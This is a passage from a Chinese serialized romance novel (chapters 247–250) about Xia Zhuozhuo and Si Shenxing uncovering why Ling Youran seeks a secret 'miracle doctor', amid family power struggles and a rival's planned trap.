凌悠然却出于惯性,人直接往前摔,摔了个狗吃屎。 周围有哄笑声响起。 凌悠然气得浑身都在哆嗦,愣是好几秒才从地上爬起来,脸色无比难看地离开了。 离开后,她立刻叫自己的手下去打听,打听这究竟是怎么一回事。 而内场,司慎行询问夏灼灼:“她没伤到你吧?” 夏灼灼摇头。 “没有。” 她没说凌悠然差点用指甲抓伤她的事,因为这点小事,不值一提。 司慎行的态度让她连苦肉计都不需要用,就占据了上风。 “我没想到她会来。”司慎行如实说:“如果知道,我肯定亲自去把门,免得她闯进来。” 夏灼灼被逗笑了。 很多人在看他们。 司慎行趁机拉她去后台,发布会正式开始还有一个多小时,时间很充裕,所以司慎行带她去了休息室说话。 房门关上后,夏灼灼说起了凌悠然。 “我本来以为,她是个很聪明、很难以对付的女人。今天真是让我刮目相看。” “她智商属于正常范围,不过的确没什么大聪明,但她喜欢耍小聪明。比如,在搞定我之前,先搞定了我爸。” “……” “我还在查,我爸到底喝了她什么迷魂汤,打算让她嫁给我。” “你爸之前不喜欢她?” “凌家在她爸那一代,就已经走向严重的下坡路,以后的前途几乎可以预见,高不成、低不就。族辈里也找不出一个成材的,否则也不会不扶持她弟弟,而扶持她。女人在竞争关系里,天生有些弱势。她这样的,却能脱颖而出,说明凌家真是没什么前途,我爸怎么会喜欢她?” “那必定是许诺了伯父什么条件,让伯父心动了。” “我爸的身体,现在属于定时炸弹,随时都有可能引爆。我实在想不到她能提出什么条件让我爸心动的。” “不着急,慢慢来。今天她来这一趟也好,她一着急,说不定就会露出端倪,让咱们抓住重要的信息。” “嗯。” 两个人又说起第二代新能源汽车。 司慎行如实说:“其实我心里也没底,但我愿意让怀瑾试一试。” “我替六哥谢谢你,不过我觉得,他的思路没错。” “你都这么说了,那肯定能大卖。” 夏灼灼弯唇笑了下,笑容有些晃人眼。 司慎行忍不住吻了她。 就在这时,房门被敲响。 阿麦的声音传进来。 “少爷,冯书记和宗督导来了。” 司慎行只好暂时放开夏灼灼。 “我马上出来。” “是。” 两个人互相替对方整理了衣服。 夏灼灼说:“你如果介意,我现在先走。在手机直播看你发布会也一样的。” “用不着,我知道你心里只有我,不会介意。” “那先说好了,不许再乱吃飞醋。” “不会!” 话是这么说,可带着夏灼灼去见了冯昭阳和宗域之后,司慎行哪怕跟他们握手打招呼,另一只手也没放开夏灼灼的手。 一直与她十指相扣。 这么做的用心,就是为了彰显他的所有权。 夏灼灼是他的,任何人都别想抢走。 哪怕是宗域这个前男友。 宗域倒是没什么太多的表情,只瞥了一眼他们相携的手就别开了视线。 很快,发布会正式开始。 夏灼灼不想露脸,自己选择了坐在最后一排。 却没想到,宗域也跟过来了,坐到了她的身边。 不等她说话,宗域率先解释。 “我有一个消息要告诉你。” 夏灼灼点点头,道:“你说,我在听。” “我刚才在门口,看到了凌悠然。” 夏灼灼微微诧异。 惊讶宗域跟凌悠然居然认识。 不过仔细想想也很正常,宗域一直待在京都,而凌悠然是土生土长的京都人。 两个人打过交道也很正常。 是她忘记了,宗域不是以前那个籍籍无名的小警员了。 他认识谁都不意外。 第247章 找女神医 夏灼灼弄明白这一点后,就不觉得惊讶了。 “你见到她,她说什么了吗?” “没有。我要跟你说的,不是她说了什么,而是她来沪城的目的。” “?” 宗域低声告诉她,凌悠然是来沪城,找以前京都的那位女神医的。 因为夏灼灼给云老爷子治过病的关系,宗域如今已经知道,夏灼灼就是那位京都赫赫有名的女神医。 “她找我?” “是的,我还没弄清楚她来找你干什么,但是,我不建议你告诉她你的身份。她很喜欢司慎行,说不定会借机对你做什么,你要小心她,别让她知道了。” 夏灼灼点头。 这是一个很重要的消息。 “谢谢你告诉我。” “不用谢,我说了,我会守护你。” “……”夏灼灼沉默两秒,说:“阿域,我已经找到了我自己的幸福,我真心希望你也可以找到你的幸福。” “我现在就很幸福。” “……” 夏灼灼知道他一时解不开这个心结,也就不强求。 她也是用了很多时间,花了很大的力气,吃了很多苦头才解开心结的。 她相信,宗域早晚也能走出来。 他现在就做的很好。 看到司慎行牵着她的手,他虽然伤心,但不愤怒。 宗域还提起了窦斯礼。 “据我所知,京都那边一直催他回去,但他一直没回去,说不定,他想为他哥哥报仇。” “我知道,我一直盯着他。” “有任何需要帮忙的,你随时开口。”又补了句:“我欠你的,你不用不好意思。” 夏灼灼不知该说什么。 她心里已经原谅了宗域。 因为没有爱了,所以,仇恨也没了。 只当他是普通朋友。 她也衷心希望他会越来越好。 宗域没有继续坐在她身边,说完两件正事,很快离开了。 宗域走后,夏灼灼站起身,出去打了个电话。 是打给杜馨月的。 “我需要你的帮忙。” “说!”杜馨月言简意赅。 “如果有人打听谁替你爷爷治过病,希望你能帮忙隐藏我的身份。” “这可能有点困难,当初不少人见过你。” “我知道,我有一个信息可以利用。” “什么信息?” “夏琉璃。她曾经到处说,我是上门行骗的骗子,你可以放大这一点,施点障眼法。云家的事情,也不要说,免得那人向云家打听。” 很少人知道,云老爷子中毒的事情。 因为此时设计云霓对云老爷子下毒,所以云老爷子严令封锁这件事。 “是谁要打听你?”杜馨月忍不住好奇地问。 “姓凌,叫凌悠然,不过她也有可能派人来问,你帮我掩护我的身份。” “包在我身上。” 夏灼灼点头。 她不需要瞒太久。 只要瞒到弄清楚凌悠然找“女神医”想干什么就好。 杜馨月这点时间还是能拖住的。 她现在办事很稳妥,并且随着杜浩然离世,她的性格也越发沉稳,不像以前那样,还带了点大小姐的任性。 打完了电话,夏灼灼回到了发布厅。 台上,司慎行正介绍着S集团第二代新能源汽车。 上次之后,他就听了夏灼灼的话,不总是穿黑色西装。 当然,今天这样的场合他也没穿那套粉色的,而是选了一套深蓝色条纹西装,胸口别着夏灼灼之前送他的一枚胸针。 胸针的钻石在聚光灯下绽放出耀眼的光芒,一如司慎行本人一般耀眼。 夏灼灼看着台上的司慎行,想起了一句俗话:男人认真的样子最迷人。 她想,这话说的果然不错。 夏灼灼不是第一次见司慎行,她甚至熟悉他脸上的每一寸地方,可今天看着,还是有些不同。 他是那么的耀眼。 好在,夏灼灼也不差。 她并不会因为司慎行的光芒闪耀,而显露出自卑。 而从前,她也并没有因为宗域出身平平,而显示出高傲姿态。 她从来都是这么一个人。 两个小时的发布会终于结束。 新车几乎炸翻了网络。 无数网友表示要预定,而订单果然也排满了。 比S集团第一款新能源汽车的销量,翻了足足四倍! 这是很吓人的数据了。 更让人惊讶的是,大部分订单,都是女客户。 他们成功抓住了女性的汽车市场。 这是以前从未有过的状况。 业内圈外,一时间都在讨论这款汽车,甚至连夏怀瑾的名字都几次登上热搜。 以至于,S集团二代新能源汽车的热搜甚至盖过了窦斯齐的死,以及季远的那点龃龉事。 这是窦家很乐意见到的。 “得想办法尽快拉拢司慎行,S集团现在彻底是他说了算了。”窦部长对窦老爷子说。 窦老爷子在窦斯齐死后,染上了季节性流感,这阵子身体状况越发不好。 他自己也有不太好的预感。 他叮嘱自己的儿子:“万不得已,不要对司慎行用强的。能拉拢最好,不能拉拢,也不要跟他成为敌人。” 说完这一番话,他竟是气喘吁吁。 很快护理人员拿来了氧气罩。 吸上氧,窦老爷子的血氧才慢慢恢复正常值。 医生把窦部长叫到走廊说话。 “老先生状况不太好,他的肺已经白了,您得提前做好准备。” “换肺呢?现在换肺手术很成熟。” “老先生年纪大了,恐怕经不起这样的折腾。先不说肺源紧张,就算排除万难换肺成功,之后的抗排异又是一个大关,我不建议这么走,只是让老人家多吃苦。” 窦部长很发愁。 他以前有长子在旁边出谋划策,还有老爷子在旁边坐镇,他几乎不怎么需要动脑子。 现在长子死了,老爷子又生病,他突然感到了一阵巨大无力感。 但现在说什么都晚了,人已经死了。 骨灰现在还存放在殡仪馆。 因为算命的说,他们家今年运势不好,不宜办丧事。 要明年才能让窦斯齐下葬。 没办过葬礼,窦部长时常就会忘记自己的长子已经死了。 也是这会儿,他才惊觉,窦斯齐对他来说,竟是这样的重要。 但这样的想法也是一时的,窦部长是个很自负的人,他很快把这个想法抛之脑后,找自己其他的心腹商议接下去要怎么办。 首先,要把能拉拢的中立派都拉拢过来。 其中最重要的,还是司慎行。 司慎行那边却一直棱模两可。 窦部长记着窦老先生的话,没敢逼太紧。 只是形势越来越不利于他们窦派了。 …… 转眼便到了十二月,天气一下子变得冷起来。 南方空气潮湿,室内室外都是冷的,凌悠然有些受不了。 她很奇怪,明明北方零下几十度她都能受得了,南方这边气温才刚跌到个位数,她却觉得冷得不行。 “找个有地暖的地方,这空调没用。”凌悠然吩咐手下。 她不想住酒店了。 女神医还没找到,她还需要继续住下去。 手下应“是”,很快为她找到了一栋有地暖小公寓。 这栋小公寓的位置凌悠然很满意,正好在枫林晚附近不到五分钟的路程。 但即便近水楼台,她却得不到“月亮”。 因为枫林晚上下都不让她进门。 凌悠然又恼又气。 这一个月时间,她打探过很多司慎行和夏灼灼的事情,终于知道,司慎行是真的对夏灼灼动了真心。 她暴怒。 恨夏灼灼后来者居上,也恨司慎行不识人。 放着她这颗好好的明珠不要,去找夏灼灼那块破瓦砾。 这天,凌悠然又在枫林晚周围闲逛,想看看能不能偶遇到司慎行。 枫林晚前面就是一个森林公园,一条绿道穿过枫林晚前面。 只是因为这公园收门票,所以除了节假日之外,没什么人来这边。 路上只有凌悠然和她的两个保镖。 她慢慢踱步着,思索着下一步该怎么办。 杜家那边,只说女神医是暗部的人,他们也是费了九牛二虎之力找到,至于她现在去了哪里不知道。 问起外貌长相,都说戴了口罩,不清楚长相,只是眼睛长得非常漂亮。 但叫什么,住哪里,一概不知。 不过她昨天也得到了一个消息,那就是有传闻说,夏灼灼就是她要找的女神医。 她一瞬间起了鸡皮疙瘩。 好在这个误会很快解开。 夏灼灼的确来过杜家治病,但她是冒充女神医来的,被杜家赶了出去。 杜家大小姐杜馨月因此,跟夏灼灼闹得很难看。 两个人据说一见面就掐架。 她松了一口气的同时,更加努力要找到那位女神医。 她问了沪城的上流圈子,有不少人都被夏灼灼骗了,都以为她就是那位女神医。 凌悠然觉得沪城这边的人都很蠢。 她早就查过夏灼灼。 一个从小被拐卖到乡下被人当童养媳养的村姑,怎可能是暗部的女神医? 她跟暗部,八竿子打不着边。 凌悠然告诉自己,她的注意力应该放在找女神医身上。 找到了女神医,治好了司董事长的病,那么她还愁嫁不进司家吗? 她是个内心有远大志向的人。 她不仅要做司家的少奶奶,以后还要把他们凌家的人,都塞进S集团,让自己家的人,一点一点蚕食S集团。 嫁进司家,只是第一步。 而就在这时,一辆高端商务车从那头开过来,直往枫林晚去。 凌悠然已经叫人查到司慎行常用的几辆车的车牌号,其中这个四个六的,就是他自己常开的那辆。 第248章 绑人 一时间,凌悠然丧失了她刚才的全部理智,几步就冲过来,张开双臂拦住出。 两个保镖都被她突然的举动吓到了,等他们反应过来的时候,那辆车在距离凌悠然只有五公分的位置停了下来。 两个保镖顿时松了一口气,随即跑过去。 “大小姐,您没事吧?” 凌悠然抬了下手,示意他们退下。 她脸上很镇定,丝毫没有害怕,因为她知道司慎行的车技。 而且,司慎行绝对不会伤她。 凌悠然的脸上甚至出现了一抹似有若无的笑容。 她迈步来到驾驶座,抬手敲了敲车窗。 她不想做拦车的事情,这太廉价。 但这将近一个月以来,司慎行不接她的电话,也不肯见她的面。 她怕司慎行听了夏灼灼的枕头风,真开始讨厌她了。 然而下一秒,车窗拉下,却露出了一张漂亮得有些不像话的脸。 她的肌肤如白瓷般,毫无任何瑕疵。 ——正是夏灼灼。 凌悠然狠狠吃了一惊,一双眼睛瞪得老大。 她从没想过,开车的人会是夏灼灼。 一想到刚才夏灼灼有可能趁机撞死她,她顿时后背一阵发凉,寒毛都竖了起来。 “怎么是你?!”她脱口而出:“这是阿行的车!” 夏灼灼似笑非笑看了眼凌悠然。 “我开我的未婚夫的车,难道犯法?反而是凌小姐,这么迫不及待拦我未婚夫的车想干什么?我只听过爬床的,没听过爬车的。” “你——”凌悠然气得脖子都粗了。 她还没有被人这么顶撞过。 一时怒火蹿上心头,什么体面也不管了。 “把她给我拉出来,打断一条腿!” 两个保镖犹豫地看着这边,却不敢上前。 夏灼灼笑意更深。 “凌小姐,这可不是你凌家的地盘,我劝你说话注意着点。老是这么分不清局势,也难怪上次被丢出发布会现场。” 丢脸的事重提,凌悠然气得脸都扭曲了。 她伸手就要伸进车窗,去掐夏灼灼的脖子。 但夏灼灼提前做了准备,直接关上了车窗。 车窗骤然合上,凌悠然吓得匆忙收回手,却还是被夹出了一道白青色的痕,那道痕很快又变成红色,火辣辣的。 “夏灼灼,你……” 不等她把脏话骂出来,夏灼灼已经脚踩油门,往枫林晚大门开去。 大门自动识别车牌,把夏灼灼的车放进去,又有人从里面走出来,面色不善地对凌悠然说:“你是什么人?在这附近闲逛什么?是不是想偷东西!” 凌悠然脸色大变。 “我偷东西?你知道我是谁?” “我管你是谁,你再不走,我可就报警了。” “……”凌悠然站在原地,气得脸都绿了。 可见那人真要拿手机报警,她气冲冲地说:“我走就是了!狗眼看人低的东西,我记住你了!” 正要走,又一辆车开过来。 因为车窗是开着的,所以凌悠然很轻松就看到了驾驶座上坐着的人是谁。 “刚子!” 她语气里满是激动。 她联系不上司慎行,就想联系霍刚和阿麦,可这两个人也跟消失了似的,根本联系不上。 现在看到霍刚,她当然激动。 司慎行身边这两个心腹,阿麦跟她关系一般,霍刚却跟她很熟。 可霍刚看到她,眉心一夹,随即踩油门开走了。 “……” 凌悠然愣愣站在原地。 她不解,霍刚到底是怎么了? 不说司慎行,霍刚不该是这个态度对她的。 她甚至感觉到,霍刚以前是喜欢过她的。 可事实的确如此,霍刚看到她,眼睛里竟有一闪而逝的厌恶。 她慌乱极了。 连霍刚都这样,更别提司慎行了。 他们一定都是听信了夏灼灼的什么鬼话。 该死的贱人! 她必须想个办法对付她! 就在这时,枫林晚的那个人再次开口:“还不走?” 凌悠然狠狠地瞪了一眼那人,扭头带着手下走了。 “直接回家吗?大小姐?” “去医院!” 她的手被车窗压到,有点疼,应该是伤到了筋骨,需要用红花油揉开,才不会有淤青。 她刚搬家,家里还没有准备这些。 两个手下应是,快速开车去医院。 路上,凌悠然很恼火,一直在想如何对付夏灼灼。 但两个手下的话让她的头脑冷静下来。 “您与其自己动手,不如告知司董事长。让他来出手,岂不是更稳妥?” 凌悠然有些犹豫。 司董事长也是不怎么喜欢她的。 之所以答应让她以后进司家的门,是因为自己许诺她,她能找到暗部那位神医,为他治病。 司董事长现在什么都不求,只求自己能活下去。 她正是看准了这一点,才让司董事长对她的态度改观。 “先不告诉他。”凌悠然说:“我们的当务之急,是找到那位女神医。” 两个手下见她冷静下来,很是松了口气。 “您明白轻重缓急就好。” 于是,凌悠然不再想着去偶遇司慎行了,一股脑子开始寻找女神医的踪迹。 只有找到了人,她才能带着女神医,去跟司董事长“谈生意”。 凌悠然这边,暂时冷静下来。 另一边,夏灼灼开车进枫林晚后,霍刚也紧随其后回来了。 他是出去为司慎行办另一件事。 缙城有个项目,停滞不前,他亲自去查,才知道那个项目负责人是司谨言的人。 他把负责人,连带着那人手底下的人,从上到下,全都炒了。 估计司董事长那边很快会收到消息,他赶回来提前跟司慎行知会一声。 却没想到在门口碰上了凌悠然。 他的确喜欢过凌悠然。 可知道凌悠然喜欢司慎行后,立刻就打住了念头。 是少爷给他第二次新生,他不会跟少爷抢女人。 但心里,对凌悠然,总有种对其他女人不一样的情愫。 直到半个月前,少爷告诉他,当初凌悠然是有意接近他。 那个时候,凌悠然已经知道司慎行的身份,却一直瞒着不说。 而且那时候她跟司谨言走得也很近。 也就是说,凌悠然两边讨好,两边在押宝。 得知这件事后,霍刚顿时觉得自己是瞎了狗眼。 对他来说,少爷是第一位,连他自己本人都要往后稍,更何况是凌悠然? 所以他碰到凌悠然的时候,眼神闪过一瞬间的厌恶。 他觉得如今的凌悠然,已经面目全非。 “刚子!” 霍刚正因为凌悠然微微出神,听到夏灼灼的声音,他连忙瞎火下车。 “夏小姐,您怎么在这儿?少爷呢?刚才这车是您开的?” 他看到那辆车开在前头,他还以为是少爷开的,所以追上来。 夏灼灼说:“他在公司。” 霍刚立马说:“那我去公司找少爷。” “不用,他在回来路上,估计有半个小时就能到。” “是。” 霍刚的事情说急也不算太急,但打电话也说不清,索性等少爷回来再说。 正要请夏灼灼进客厅,就见夏灼灼绕回到那辆轿跑后面,打开了后备箱。 一个被绑住手脚的男人从后备箱里直接滚到地上,摔出一声闷响。 霍刚错愕地瞪大了眼睛。 “这、这是……” 夏灼灼盈盈一笑:“你刚才应该碰到凌悠然了,这是他的人。” 她和司慎行,查凌悠然的事情查了将近一个半月,仍然没有查出,凌悠然到底跟司董事长达成了什么合作。 她没有耐心了。 杜馨月那边,也快要瞒不住。 管理再严格,也总会有人走漏风声。 所以她主动出击。 司董事长那边的亲信,她不想动,而且也不方便动,所以索性从凌悠然这边下手。 她让田野去看凌悠然的行动轨迹,就得知凌悠然最近搬到了这边,还经常会在司慎行下班后的时间点,在枫林晚附近“闲逛”。 她找准了时机,问司慎行要了车,开他的车过来。 凌悠然这人有点小聪明,但没有大智慧,她很容易被激怒,就有了她伸手进车窗要打夏灼灼的事。 夏灼灼早已经从凌悠然的新家绑了唯一留守在家里的保镖,然后她趁机弄伤凌悠然的手。 去医院治疗,加上来回一趟,起码两个小时。 如果时间不够,田野和谷仔还会安排一些小插曲,让凌悠然更晚回到家。 如此一来,她有了充足的审问凌悠然手下的时间。 夏灼灼对满脸惊讶的霍刚说:“我听阿麦说,你很擅长审人,两个小时够吗?我要知道,凌悠然跟司伯父达成了什么协议。” 这件事霍刚知道,少爷因为这事儿,还发过一通火。 他很快明白夏灼灼的计划,也明白过来夏灼灼为什么开着少爷常开的车。 他道:“用不着两个小时,半个小时够了。” “好。” 霍刚将人带了下去。 半个小时后,司慎行恰好回到家。 他的车被夏灼灼从公司开走,是阿麦送他回来。 此时晚霞漫天,司慎行穿一身黑白相间条纹衬衫。 他本就生的高,腿又长,肩宽腰窄,很适合西服,在落日的余晖下更显俊美无俦。 夏灼灼想着,她还是赚到了。 虽然泉灵山庄的记忆,她还没有完全恢复,但她想,当时的情况,应该不至于太糟糕。 她如今,连对那件事的阴影都在慢慢散去了。 “你回来了。” 简单四个字,却让司慎行莫名感到妥帖。 第249章 宁愿信外人 “人抓到了吗?”司慎行牵住夏灼灼的手,与她十指相扣后问。 夏灼灼往人工湖畔那栋安雅住过的独栋小楼抬了抬下巴。 “霍刚在审,估计快了。” 话音刚落,霍刚已经从那边湖畔往这边快步走过来。 “少爷。” 司慎行点头,问:“灼灼叫你审的,审出来了吗?” 霍刚点头。 三人到客厅说话。 霍刚开门见山道:“凌悠然跟董事长说好了,她会为他找到暗部的女神,只要找到这个女神医,为董事长成功做手术,董事长就认她为儿媳妇。” 夏灼灼倏然瞪大眼睛。 她早就从宗域那里知道,凌悠然要找自己。 却没想到,凌悠然竟然是为了这个找自己的。 他们查了那么久的事情,竟然是这样。 天底下竟然还有这种好笑的事? 霍刚看她一眼,也感到很滑稽。 司董事长恐怕死都想不到,自己跟人利益交换找的女神医,竟然就是少爷的心上人,也是董事长自己原定想让少爷娶的夏灼灼。 司慎行的黑眸也难得浮现惊讶的神色。 “竟然是这样……” 他查了半天,力气都往窦家那边使,却没想到,从一开始他就弄错了方向。 夏灼灼已经忍不住笑了。 “这算不算是另一种大水冲了龙王庙?” 司慎行没回答她,眉心皱着,心情很不好的样子。 夏灼灼不解。 她是很高兴的。 知道了原因,而且这原因还在她身上,那这件事简直太容易破局了。 让司伯父认可她,不过是眨眼之间的事。 可司慎行为什么不高兴? 夏灼灼递给霍刚一个眼神,示意他自己有话要跟司慎行单独聊。 霍刚虽然一根筋,但不是真笨,他很会看眼色,所以立刻就懂夏灼灼的意思了。 “少爷,我先去把那个人送回去。” 司慎行道:“不用了,留着。命也留着。” “是。” 霍刚离开后,客厅只剩下他们两个人。 夏灼灼开门见山问道:“我们查到想知道的事了,你怎么反而不高兴了?” 他们之前猜测的是,司董事长是想站队窦家了。 而凌家是正统的窦系。 窦家没有女儿,娶凌家的女儿也是一种态度。 却没想到完全不是这样。 但现在这样,更好。 司董事长知道她就是那位凌悠然在找的女神医之后,应该不会再排斥她。 所以她不懂司慎行为什么不高兴。 “我高兴。”司慎行说着,又重复一遍:“我没有不高兴。” “那你为什么皱眉?” 夏灼灼伸出手,点了一下他的眉心。 司慎行的眉心立刻舒展开了。 “我只是觉得自己真是蠢。” “?” 夏灼灼沉默两秒,问:“是因为我们猜错方向了而已,不是你蠢。” “不是这件事。”司慎行叹了口气,说:“之前,我看到你给杜老先生治病,就把你医术精湛的事情告诉了老头。” 司慎行偶尔会称呼司董事长为“老头”。 夏灼灼点点头,等他继续说。 只听司慎行道:“他拒绝了,说自己不想再折腾,认命了。我信了,所以后来才一直没再提让你给他看病的事。” 他顿了下,继续说:“我今天才知道,他不是不想折腾,是怕我折腾他。他不信任我,他怕他会死在我手里。” 司慎行认真看一眼夏灼灼,眼底竟然有些脆弱。 “灼灼,他比起我,更信任凌悠然,你觉得可笑吗?” 夏灼灼知道他为什么不高兴了。 自己的亲爹,宁愿信任一个外人,也不信自己的亲儿子。 对外,司董事长得知司慎行“嫡子”的身份后,立刻就把他扶正了。 他对司慎行也表现出了应有的关心和照顾。 司慎行在S集团能这么快站稳脚跟,也有司董事长出的力。 连司慎行自己都觉得,司董事长心里是真的有他这个儿子。 现在现实给了他沉痛一击。 司慎行不是一个脆弱的人,否则这么多年“私生子”的头衔早就把他压得喘不上气,可他熬过来了,就说明他足够坚强。 现在这样,只不过是因为,他以为司董事长对他付出了真心,所以也对司董事长付出了真心。 真心被辜负,当然难过。 人心都是肉长的。 “他愿意用我的婚事,换取他多活几年的寿命。而我毫不知情,到处为他寻医问药,想方设法说服他,让他接受你的治疗。灼灼,我很可笑,对不对?” 夏灼灼伸手抱住了司慎行。 那么大一个男人,在她的怀里,竟像一只受伤的小鹿。 夏灼灼抱着他,认真为他开解。 “可笑的人不是你,而是司董事长。” 她不叫他“伯父”了。 “阿行,我们以后也会有自己的家,我妈妈,我哥哥,都把你当家人看待。你以后会得到比现在更多的爱的。” 他受尽屈辱长大,想得到的,并非是S集团的话事人的身份,仅仅只是想得到公平的爱。 司慎行听进去了。 他是个情绪走得很快的人,转眼就恢复了平静。 他站直身子,牵住夏灼灼的手。 “我刚才那样,是不是不够男人?你会不会在心里笑话我?” “笑话你什么?笑你想得到自己父亲的爱?阿行,我们是一样的,我们从小都不在爱里长大,我理解你的一切感受,因为我全都经历过。只是我比你幸运一些,但这有什么资格嘲笑你?别多想。” 司慎行点了点头。 “我一开始的时候不跟你说这些,就是怕你笑我。现在我放心了。” “……想不到,你偶像包袱这么重?” “怕被自己的女人瞧不起,这算什么偶像包袱。” 他很娴熟地说夏灼灼是他的女人,夏灼灼却还没练成厚脸皮神功,脸颊一下子红了。 司慎行很喜欢看她脸红的样子。 因为她这个模样,只在他面前会显露,其他人谁都没见过。 插科打诨了一会儿,夏灼灼正色起来,问:“那你接下来准备怎么办?要直接跟司董事长说清楚吗?” “用不着。”司慎行的眼神,骤然变得有些凉薄。 “什么意思?” “不解释了。灼灼,他不信我,更不会信你。哪怕你到了他面前,他也不会信你就是那个女神医,你明白吗?” “……那我该怎么做?” “你什么都不用做。我会帮你把你给杜老先生治病的事情压过去。凌悠然找不到人,必定会着急。而这个世上,除了你这个真正的女神医,沽名钓誉的人很多。说不定突然就冒出一个女神医来了。” “哪有这么大胆的人,敢冒充我?” “重金之下必有勇夫。你不揭穿,那个人就不是冒充的。” “你想让我不要揭穿?” “嗯。” 夏灼灼不说话了,她相信,司慎行心里也是不忍的。 可他们不是普通父子。 司董事长不信他。 他无论使多大力,都没有效果。 过了两天,不知为何,凌悠然找暗部的女神医的事情,很多人都知道了。 与此同时,凌家出了点事。 凌悠然的父亲被人举报受贿。 凌悠然本来就因为她一个手下突然失踪而心中不安。 出了她父亲的事情,她心里更烦躁。 想急着回京都,又想留下来找女神医。 就在这时,有个女人冒出来,说自己就是那位女神医。 凌悠然大喜过望,甚至没来得及仔细核对那女神医的身份,就把人带去了京都。 不多时,凌父被放了出来。 受贿是假,举报的群众用的是匿名信,被判定是诬陷。 霍刚一直在关注京都那边的动向,他很快跟司慎行汇报:“凌悠然带了‘女神医’,去了老宅。” 司慎行点点头,让霍刚不要管,继续叫人盯着就行了。 …… 这一天风和日丽。 夏灼灼接到了一个电话。 “夏小姐,你还记得我吗?” 夏灼灼存了备注,知道这是窦斯礼。 不过,他给自己化名叫李斯。 夏灼灼给他备注的,也是李斯,防止自己忘记窦斯礼这个假名。 “李先生,我记得您。还想着请您吃饭,感谢您那天出手帮忙呢。” 夏灼灼的语气并不真心,但用来敷衍窦斯礼这个蠢货已经足够了。 换成是他哥窦斯齐,夏灼灼一定会打起十二分精神应对这通电话。 果然,这样的语气,足以让窦斯礼激动。 “你还记得我,真是太好了。不过请我吃饭就不必了,哪有男人让女人花钱的?” “那您……?” “我投资了一栋高科技大楼,这里所有设备都是市面上最先进的,明天结顶大喜,我想请你过来。” 夏灼灼问:“高科技大楼?是刚建的那栋叫‘无限立方’的大楼吗?” “你也知道?” “嗯,网上刷到过,说很气派,想不到是李先生你投资的。” “那你可一定要过来。” 夏灼灼故作犹豫。 “我过去……会不会太唐突了?” “怎么会?夏小姐的身份不一般,我也是这两天才知道,您竟然是司先生的未婚妻。您能过来,是无限立方的荣幸。” 窦斯礼的语气里满是讨好,将自己放得很低。 他对夏灼灼“有恩”,现在明摆着是想讨好她,而夏灼灼又对无限立方有兴趣,所以他笃定,夏灼灼一定会过来。 果然,只听夏灼灼说:“好,我明天一定到。” 第250章 挑拨 “那太好了,我现在把电子邀请函发给你?” “好。” “那就这么说定了。” 挂断电话,窦斯礼很快把电子邀请函发了过来。 夏灼灼瞥了眼那栋形似立方体的大楼,心里微微有些惋惜。 这么好的一栋楼,可惜了。 她捞起自己的手机,给司慎行打了电话。 在一起的时候,她让司慎行答应她,不瞒着她任何事。 司慎行做到了。 而她,也会主动告诉他她的事情。 有来有往才算公平。 哪怕是恋爱中的恋人也一样,你要求对方付出,那么你自己也得付出。 司慎行听了,立刻说:“我跟你一起去。” 不等夏灼灼拒绝,司慎行说:“我知道你要说什么,你说我的脸太显眼,你给我做个面具,我就不显眼了。” “……” 现在才是傍晚,做个面具,来得及。 夏灼灼有些无奈,只好答应。 “行吧!” 她给窦斯礼发了个消息,说自己要带一个保镖一起过去。 “我未婚夫不放心我一个人出门。” 窦斯礼没拒绝,大概是怕她多心,突然不去了,所以很快又发了一张邀请函过来。 邀请函一号一人,她可以带司慎行进去了。 夏灼灼要去暗部做面具。 她换了件黑色长裤,上面套一件兔毛毛衣,看起来年轻了几岁,像个女大学生。 衣服是夏太太买的。 女儿回来了,她承包了夏灼灼所有生活方面的事务,真正把夏灼灼养的很好。 夏灼灼比刚回来的时候,胖了整整六斤。 不过因为她本身体重基数小,骨架也小,哪怕胖了六斤,看着也还是有点偏瘦。 这一点她随了夏太太。 夏太太到了这个年纪,仍旧身材纤细,像个年轻女人。 “妈,我出门一趟。” 夏太太已经习惯她出门办事,只是问:“什么时候回来?你三哥今天回来,说赶回来吃晚饭。” 夏怀乐这阵子一直在剧组,是今天才得了空回家。 再有半个月,他就能杀青了。 夏灼灼道:“晚饭来不及吃,十点之前会回来。” “行,我知道了。” 夏灼灼留下了秋雨,自己回暗部。 夏太太已经知道,秋雨不只是夏灼灼的朋友,也是她的心腹。 她进了厨房,跟秋雨一起忙活晚餐。 他们不是请不起佣人,只是人多眼杂,这个多事之秋,还是别进人了。 好在秋雨不是个拿乔的人,她特别踏实勤快,好像真的把自己当成了夏家的佣人。 夏太太很喜欢她。 她填充了许姨离开后,夏太太的寂寥。 秋雨也很喜欢夏太太。 她跟爸妈关系都淡薄,没怎么在他们身上感受过父母的爱,落九针让她感受到了父爱,而夏太太让她感受到了母爱。 她在这里很幸福。 而另一边,窦斯礼得意地告诉他哥的心腹闻衢朝:“一切顺利,那个女人上钩了。” 闻衢朝却隐隐有些不安。 窦斯礼看他皱眉。 “干嘛?我都按照你说的说了,她也答应了,你还拉拉着个脸干什么?” 闻衢朝说:“就是事情太顺利了,我才觉得心里不安。” “我看你是吃饱了撑的没事干!疑神疑鬼的,还想成什么事?” 闻衢朝也只能安慰自己,是他多心了。 夏灼灼同意过来,他们就已经成功了一半,是不该这样疑神疑鬼。 “是我的问题,二少爷。” 窦斯礼切了一声,很快喜滋滋地准备明天的事情去了。 他要选一套最好看的工具。 他在床笫上,有特殊的喜好。 夏灼灼配得上他最好的那套工具。 闻衢朝对此嗤之以鼻。 听闻窦斯礼晚上还要出去玩,闻衢朝也没管他,反正是个将死之人了,最后让他潇洒一个晚上的。 也正是因为瞧不起窦斯礼,所以他压根也没派人跟着窦斯礼。 这让夏灼灼有了可乘之机。 …… 这个晚上,是霍刚约窦斯礼出去。 霍刚已经跟窦斯礼混的很熟,而窦斯礼这人完全没有脑子,竟然从头到尾都没怀疑过他的身份。 窦斯礼应约到KTV,推门进包厢的时候,就看到了一道他梦寐以求的身影。 夏灼灼。 但窦斯礼理智尚存,他没有急切地扑过去,他脑子里仍然记得夏灼灼的身份。 这种场合扑过去,有可能下一秒他就被司慎行弄死。 故而,窦斯礼很礼貌地走进来跟夏灼灼打招呼。 “夏小姐,咱们下午刚联系过的,没想到这会儿就见到您了。您怎么在这里?” 他尽量收敛了自己眼底的贪婪,但那双眼睛还是忍不住时不时往夏灼灼的唇上扫一眼。 然而下一秒,夏灼灼的话就让他愣在了原地。 “我是特意来提醒你的,窦斯礼,明天将会是你的死期。” 窦斯礼的目光骤然一凌。 夏灼灼知道了他并不叫李斯! 那么,她是否也知道了他们的计划? “夏小姐……” 窦斯礼僵硬扯出一抹虚伪的假笑。 